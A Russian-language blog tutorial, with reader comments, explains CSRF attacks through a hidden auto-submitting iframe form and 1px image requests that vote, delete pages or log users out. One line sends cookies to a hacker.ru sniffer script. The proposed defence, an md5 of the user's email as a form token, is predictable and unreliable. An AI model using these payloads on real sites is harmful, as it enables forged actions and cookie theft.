CSRF-атаки

CSRF

В сети часто можно встретить темы про XSS. Происходят такие атаки из-за неправильной фильтрации данных. Но есть еще CSRF-атаки, которые не зависят от фильтрации данных.

Пример POST-запроса

Рассмотрим форму личного сообщения на сайте какой-нибудь социальной сети.

CSRF

Обычно html-код выглядит так

<form action="" method="post">
    <input type="text" name="subject" /><br />
    <textarea name="text"></textarea><br />
    <input type="submit" name="submit" value="Отправить" />
</form>

Никакой капчи или другой защиты в этой форме нет. Действительно, зачем какая-то защита, если мы уверены, что пользователь авторизовался на сайте. Данная форма не подвержена XSS и с первого взгляда выглядит довольно безопасно.

Обработка формы на стороне сервера

<?php
if (isset($_POST['submit']) && $_SESSION['user']) {
    $subject = htmlspecialchars($_POST['subject']);
    $text = htmlspecialchars($_POST['text']);
    // записываем в базу данных
    mysql_query('INSERST INTO ...');
}
?>

$_SESSION['user'] – условие того, что пользователь авторизован.

Пользователь авторизовался на сайте. Затем он случайно зашел на сайт хакера, на котором есть скрытый iframe

<html>
<head><title>Сайт хакера</title></head>
<body>
    <script type="text/javascript">
    function submit_form(){
        window.evilframe.document.forms[0].submit();
    }
    </script>
    <iframe name="evilframe" src="form.html" style="display:none" onload="submit_form()"></iframe>
</body>
</html>

В iframe "form.html" подгружается код.

<form action="http://site.ru/mail.php" method="post">
    <input type="text" name="subject" /><br />
    <textarea name="text"></textarea><br />
    <input type="submit" name="submit" value="Отправить" />
</form>

Что происходит. JavaScript автоматически отправляет форму, заполненную спамом, на сайт социальной сети. Вместе с заспамленной формой в запросе отправляются куки этого пользователя. Это происходит в полном соответствии с протоколом HTTP (форму можно отправить с другого домена, точно так же как можно подгрузить картинку с другого домена). На обработчик формы приходит точно такой же запрос, как если бы пользователь отправил бы его с основного сайта. Только реферер будет другим (реферер сайта хакера, так как с него ушел запрос).

Таким образом, пользователь даже не заметит, что форма была отправлена. Всё происходит в фоновом режиме.

Пример GET-запроса

Теперь рассмотрим пример GET-запроса. Например, на сайте есть голосование, реализованное через AJAX. На сайте хакера размещаем картинку размером 1px и указываем путь к скрипту голосования.

<img src=”http://www.vkontakte.ru/vote.php?id=3” width=1px height=1px />

id=3 – за кого мы голосуем.
Таким образом, как только пользователь зайдет на сайт хакера, то он проголосует за кого-то, причем сам пользователь этого не увидит.

Пример удаления страницы

<img src=»http://site.ru/page.php?id=4&action=delete″ width=1px height=1px />

Для подобных атак необходимо чтобы пользователь был авторизован на сайте социальной сети в момент атаки. Причем пользователя не спасет суперсложный пароль или последняя версия антивируса. Подобные атаки не противоречат протоколу HTTP и зависят только от отсутствия защиты от таких атак на самом сайте.

CSRF-атака, в отличие от XSS, не возвращает ответ. Т.е. ответ от сервера уже не может быть получен хакером. Ответ от сервера конечно приходит, но приходит он в браузер пользователя, а не на сайт хакера.

В XSS хакер может получить ответ от сервера. Например, встроить вредоносный код на сайте жертвы и таким образом воровать куки.

<img src=”http://www.hacker.ru/sniffer.php?cookie=document.cookie” width=1px height=1px />

Но, как я показал выше, хватает способов взлома и без получения ответа от сервера, посылая только запрос «в одну сторону».

Защита

В предыдущем абзаце содержится ответ на вопрос о способе защиты от CSRF. Примеры атак, приведенных выше, показывают, что для всех пользователей запросы будут одинаковые. Введем для каждого пользователя какое-то уникальное значение в скрытый параметр формы, например md5($user_email)

<form action="" method="post">
    <input type="text" name="subject" /><br />
    <textarea name="text"></textarea><br />
    <input type="hidden" name="hash" value="<?=md5($_SESSION['user_email'])?>" />
    <input type="submit" name="submit" value="Отправить" />
</form>

Проверяем на сервере

<?php
if (isset($_POST['submit']) && $_SESSION['user'] && md5($_SESSION['user_email'])==$_POST['hash']) {
    $subject = htmlspecialchars($_POST['subject']);
    $text = htmlspecialchars($_POST['text']);
    // записываем в базу данных
    mysql_query('INSERST INTO ...');
}
?>

Хакер не может загрузить эту форму, распарсить ее и узнать значение hash. На этом основана защита. Вот в принципе и всё. Для примера можете посмотреть формы, AJAX-запросы в Контакте. Там везде присутствует подобный хэш.

Можно еще проверять реферер, но в этом случае могут пострадать нормальные пользователи. Некоторые фаерволы и прокси обрезают реферер.

#1

Мда... надо будет попробовать как-нибудь так побаловаться =)

Ярослав, 5.07.2010 - 11:54
#2

Ха-ха
<img src="http://site.ru/login.php?do=logout"/>
Я так на одном самописном форуме некоторые темы "закрывал". Сейчас тоже работает.

Сергей, 6.07.2010 - 00:55
#3

да, есть такое:)
Поправил твой коммент, чтобы люди не баловались.
Самописные движки этим славятся, потому что CSRF не столь очевидная дыра как XSS. Многие начинающие разработчики не догадываются об этом.
В Контакте пару лет назад можно было менять сайт в чужом профиле через CSRF. Сейчас уже давно во все формы понапиханы хэши.

admin, 6.07.2010 - 11:07
#4

Норм. Защитится знач можно только через хеш:-)

Дима, 11.08.2013 - 11:00
Оставить комментарий